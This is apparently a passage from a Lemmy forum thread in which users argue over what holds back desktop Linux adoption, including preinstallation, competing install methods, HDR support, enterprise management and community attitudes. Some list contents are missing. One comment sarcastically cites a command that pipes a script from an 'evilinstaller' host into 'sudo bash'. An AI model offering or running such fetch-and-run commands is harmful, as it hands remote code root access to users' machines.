being preinstalled on devices you buy. normal users just what to push some buttons and expect it to 'just work'
as someone that has spent the past week working through different distros to figure out what I want to move to here is my list. Note that this is all coming from someone that actively wants to switch and not someone that doesn't realize there's other options like some of the other comments are getting at. This does not obviate everyone else's comments that linux just needs to come preinstalled on stuff or that manufacturers and developers need to do more. Both of those are a given, but those are not something that distro maintainers or kernel devs can control.
pacman 4. paru 5. yay 6. tar.gz download. On Bazzite the options are completely different because it's Fedora based. On Mint it was another set of options. Users are required to understand the underlying distro's installation methods in order to figure out how to install stuff properly. Not only are they required to understand that, but they've got to figure out which install method for any given piece of software. For example, installing Dropbox one way vs another can make it work completely differently, including worse. Installing Spotify pops up a KDE Wallet dialog that users are expected to know how to manage.I wrote this the other day and never finished it, but that's just the stuff I've found so far.
solving the misogyny problem in the developer spaces and the community in general
The elitism mostly.
It's seen as complicated because linux users behave a certain way
Tell me about it. The Linux crowd here on Lemmy is so god damn annoying, and that makes me not want to switch.
(For one, Linux needs to get a lot better support for gaming GPUs and HDR monitors before I'd consider ditching Windows for good. I can't live without RTX HDR and the Nvidia Control Panel, but Linux supports neither. There's no SDR-to-HDR upscaling support in the Linux version of Firefox, either.)
HDR works on Linux:
https://wiki.archlinux.org/title/HDR_monitor_support
No, the NVIDIA Control Panel is not available but there are nvidia-settings and nvidia-smi
Yes it does but there is no SDR-to-HDR conversion. You need at least the Nvidia App for that.
It's kinda a catch-22 situation: the vendors themselves need to implement these things on Linux, but they don't because it's a relatively small slice of the market. However, users won't switch because these things aren't available
That's a good point—and I don't like that I'm part of the problem—but I also don't want to have to dual-boot just to play games or watch YouTube in HDR. I don't care who makes it; I just want one OS that covers all of my needs. It would be nice if that OS was Linux.
Plus I DJ on the side and find that my decade-old hardware doesn't play nice with Linux. Not a fan of the DJ software options, either. Mixxx is decent, but I prefer the industry standard, Serato for it's reliability and simplicity. Unfortunately it doesn't work in WINE without massive audio latency, which is a non-starter in a Live DJ environment where near-realtime (sub-5ms) audio is crucial.
None, sadly. Most of the things that make Linux a bad OS are problems in Linux, but not problems of Linux so there's little that can be done.
Fix long-standing issues that create headaches for new users. I'm not sure if it's Mint-specific, but:
Backing out of the OS installation should not make it crash to the point that I have to rename a file in the USB to fix it.
Downloading the new video codecs while installing the OS and ticking some box should also not make it crash.
And warning me beforehand that I need to disable secure boot should be a must.
Fix that and you just saved your users three attempts at installing and a couple of hours of troubleshooting just to get their feet in the door.
Most of that feels like Mint specific. The secure boot thing is sometimes mentioned in the installation instructions....but not always.
Almost nobody "chooses" an OS. What needs to happen for wide-spread adoption is for first time computer users to be presented with something running Linux.
Microsoft understood this, that's why Windows has been the default in classrooms since the 80s.
Windows was never the default in classrooms in the 80's, that was Apple. First with the Apple II.
Windows didn't even exist until 1985 and wasn't widely adopted until 3.0/3.1 in the 90s.
Windows 386 in the late 80s was widely considered to be a joke:
Thanks for that comment! And it's always the same: the people with a historical perspective that doesn't match the popular opinion get downvoted for spreading knowledge.
To go on a bit of a tangent here, Lemmy lets you hide scores on posts. I've had that set for a while and it's nice to not get that bias before reacting to a post
Laptops sold in store. Vendor that targets schools elementary to college along with software and support to manage a fleet of computers. Would be relevant for corporations too. They would market and support Linux hardware
User friendly way to deal with permissions on flatpaks. Needs to be like Android and iOS where when it's needed, you get a prompt box to affirm/deny or file/application picker to grant access to
Grow commercial support orgs for professional software support. Like orgs that support deployments of LibreOffice. Blender foundation is good. More of that for other open source pro/prosumer software. Sales and support staff separate from developers
I think you make a good point regarding support. This is, for businesses, the crucial issue. They want to buy reliance, support and certainty. This is what commerce, like Microsoft, offers; peace of mind for (big) bucks.
Organizations can't easily take measures to assure proper support for a lot of open source software. They'd have to hire and probably educate a lot of expertise, which all has to be managed too.
It's just a whole lot easier for decision makers to spent extra money to have a contractor solve any issues, or at be able to blame (sue) them.
Problems Linux itself has to overcome? Maybe two or three.
Problems that are mistakenly attributed to Linux but that are actually for manufacturers, sellers and provisioners to take responsibility for and overcome? A good lot.
accessibility has been going down for the last few years
Quick counterpoint as this gets raised a lot and I consider it disinformation.
In the Xorg -> Wayland transition, accessibility was immature as were a number of other things. And the implementations between x11 and Wayland were different (and so difficult to compare feature by feature).
Because of this, Wayland detractors made accessibility a favourite bugaboo and, even now, it is possible to find examples of things that worked better on X11 than they do on Wayland.
And there is no denying that accessibility was worse on Wayland for a while. You can say that about other things as well.
What the detractors do not tell you is that, for the major desktop environments at least, accessibility on Wayland is now better overall than it ever was on X11. Like a lot of things, whereas the poor security in X11 allows you to do many things, the capabilities have to be explicitly built into Wayland resulting in a period with poor support followed by systems that work excellently (better than they do in X11). This is a Wayland truism overall but particularly true for accessibility.
Latency and security are improved in particular. Assistive tools in X11 are a massive security hole. And accessibility in Flatpak apps is now far better as the tech built to work with Wayland sandboxing helps with Flatpak samdboxing as well.
Finally, accessibility is a greater focus in Wayland and so still improving whereas it was always an afterthought in X11. So regardless of the current state, I would say things are looking up for accessibility.
No good enterprise management. Doesn't run enterprise software.
Most people don't really care what they use, they just want to be able to use it. If it doesn't run their programs, it's no good to them.
Companies don't use it on the desktop because enterprise management sucks. There's no equivalent to group policy. Ansible is not the same.
Yeah, this is pretty much it.
Microsoft took over the computing world because they built a really good enterprise management toolset. Say what you will about their shitty business practices both in history and today, both AD and GPO are fucking incredible pieces of software. Microsoft Office and Exchange email are also pretty much the only game in town unless you want to jump to Google which is objectively worse.
Those tools meant that workplaces adopted Windows instead of Mac and Linux and slowly transitioned their Unix servers to Windows. Then people started getting PCs at home, and they didn't want to learn a whole new OS. Guess what, Windows is also available for home use and does all the same things that your office PC does.
Now that Microsoft has the vast majority of the install base on PCs, it's not economically viable to develop or troubleshoot software for the other platforms, as you're putting in a ton of extra time for about 5% of users.
Until Linux can promise ~90% compatibility with all software and they can put out some kind of real competition to AD and GPO, people are going to take the path of least resistance and just get Windows.
both AD and GPO are fucking incredible pieces of software.
AD is really the only way to manage an organization with thousands of endpoints and users.
I have some hope that someone in the EU will develop a competing product now that they're pushing to get away from Microsoft, but it doesn't exist yet.
I have to disagree here - you can absolutely run a large organisation on Linux (the Frenchies do it,e.g.).
The issue is the middle ground. A large company can absolutely invest into what's needed for that. They might even come out cheaper.
The small to middle companies are the issue. The ones with 1-10 people running their whole IT. For them, Linux based operations are an issue - there currently is absolutely nothing that is as "one module working well with another" than AD. (Which should please not imply that AD is well designed and working too well). Period.
I have just kicked Microsoft (mostly) out of my company. But that is my personal decision - I am the CEO and we are small enough that I can do most IT support myself or with the help of a small outside company. But boy,did that cost us time and therefore money and still there are drawbacks and things that will not work as smoothly as they did on windows. I am thankfully able to do that - as I have no external venture capital I have to answer to, have staff that is very tech literate (especially considering that none has an IT background),willing to learn and don't need software too much that requires windows. (Well,some, e.g. occasionally CAD)
But would I ever recommend that to anyone? Nope. Definitely not.
Which pains me to say.
True secure and verified boot, robust MAC systems with easy control (similar to what MacOS uses).
Installing an OS will always be a hurdle. Most people don't want to spend that much time thinking about how their computer works, they just want to turn it on and have it work. For more people to use Linux, it will have to be preinstalled.
After that, it needs to be stable. If the audio stops working, most people don't think "maybe I need to roll back my driver" or "maybe ALSA has muted my output channel for some reason", they just think "my computer is broken". These kind of problems have to go away, or at least be reduced to <1% of users.
Also, very few people are going to have any patience for any kind of difficulty related to "oh you have to add a different repository to your package manager to play common media formats" or w/e (e.g. AUR or Ubuntu Multiverse &etc). Normal people spend exactly 0 time considering what codecs they might need to install to listen to some music, or where they might need to get those codecs from, or whether those codecs are open or proprietary or freeware or whatever.
OEM integration. i feel like there is a lot to like about Linux that most people who can will. but i think the thing that’s grown Linux a lot (other than geopolitical shifts) in recent time is SteamOS. not just because of Proton, but they’re literally selling a computer as an OEM with a 1st class linux OS. imagine if Dell and HP and Razer started doing the same
Consistency in the settings, especially in localization. For instance, in my Linux Mint start menu, I have “Settings”, “System administration”, and “System settings” (subtitled “Control center”). Now where do I look for a setting? Additionally, some or all setting from the “system settings” are available as standalone apps. Why?
In a similar vein, a run-of-the-mill distro is made up of lots of components, and it is not at all clear which is in charge of what. If I want to change hotkeys, who’s responsible for that? What do I need to google for? Drivers? Desktop environment? Some OS-specific settings app?
In general, there is always two or more of everything. Sound? pulse or pipewire. Which is installed? Which should be installed? Search the web and find literally every answer. UI widgets? Gnome, Cinnamon, KDE. Graphics? Nvidia, Noveau, PRIME, Optimus. The question “How do I make this work” always is a “well, it depends… actually… you’ll need to try, and if it doesn work, try something else.”
Needs brainless application management.
Windows is basically: download the installer, run it, and boom you're good to go.
Linux distros typically have 2-3 different ways to install applications and multiple mechanisms for updating/maintaining, where most of the good ones are non graphical. It's confusing for even experienced users let alone someone who doesn't know what a "package" is.
Say I want to uninstall something, I need to know how it was installed (apt? Snap? Flatpak? Manual build from source?) in order to do so. On windows, they have a registration scheme where installers log to a common OS level application management on what to run to uninstall.
Windows is basically: download the installer, run it, and boom you’re good to go.
Thank you for installing my virus.
But yeah, I'd basically say that's an antifeature that ahs been oversold.
And even then, it's not even the only one. Macniel already pointed out five ways, and I'm rather sure there's three or four more (I'm p sure Windows has its own equivalent in Powershell to curl http://evilinstaller.org/run | sudo bash, for one).
Linux distros typically have 2-3 different ways to install applications and multiple mechanisms for updating/maintaining,
Windows ways to install applications:
On windows, they have a registration scheme where installers log to a common OS level application management on what to run to uninstall.
Yup sounds absolute reasonable... Wtf?
Right but in practice nobody really uses the Windows store, and winget, chocolatey etc. are only used by geeks. For normal users it's always
On Linux you have:
Also it's relatively common for Linux software not to bundle its dependencies. I work for a company that makes commercial Linux software and they bundle Python (yes it's bad), but that depends on libffi and they don't bundle that. So it only works on distros that happen to have the specific ABI version of libffi that it requires. And you have to install it yourself. This is obviously dumb but it's the sort of thing you have to deal with on Linux that is simply never an issue on Windows or Mac.
Dependencies only become an issue if you don't distribute your source (allowing distros or individuals to compile against the shared libraries they actually have installed, and patch out minor compatibility issues). Since closed-source is frowned upon in the Linux world, it's unsurprising that there are various sorts of pressure to Not Do That.
Most users just open the app store on their distro and install things there. It's painless. Your complaint is the equivalent of somebody on android deciding not to use the google store and saying that they have too many places to install applications from.
I actually find it hilarious that you even think windows installers are good. They are friggin mess and leave behind a bunch of crap when uninstalled. There's a good reason windows needs stuff like reg-cleaners and debloaters and what have you. Let's not even get into how easy it is to get adware or malware on windows, because searching for "rar installer" gets you a bunch of paid malware sites on the top of the search results.
Wishing to go back to the "simplicity" of a windows installers is madness. Linux isn't perfect for packaging software, but let's not pretend windows is better.
The main things that have kept mainline adoption from happening:
Pre installed hardwares. It's not just about "being easy to use" or "working software X". 90% of the users are not going to install Linux themselves, because they have no idea that Windows is something that can be replaced like any other softwares.
Even then, they'd not just begrudgingly use Linux because it was preinstalled. They'd find tech support and complain about how everything's just completely changed and they want their normal PC back.
So no, Linux desktop will stay niche no matter how it gets, at least for a long time. Something as braindead simple as ChromeOS may help though.
Baby duck Windows users.
Linux works fine if you don't expect a carbon copy of Windows that runs everything.
Baby duck windows users...? What does that mean? (I'm sure it's just an expression or something I'm not familiar with but I'm curious)
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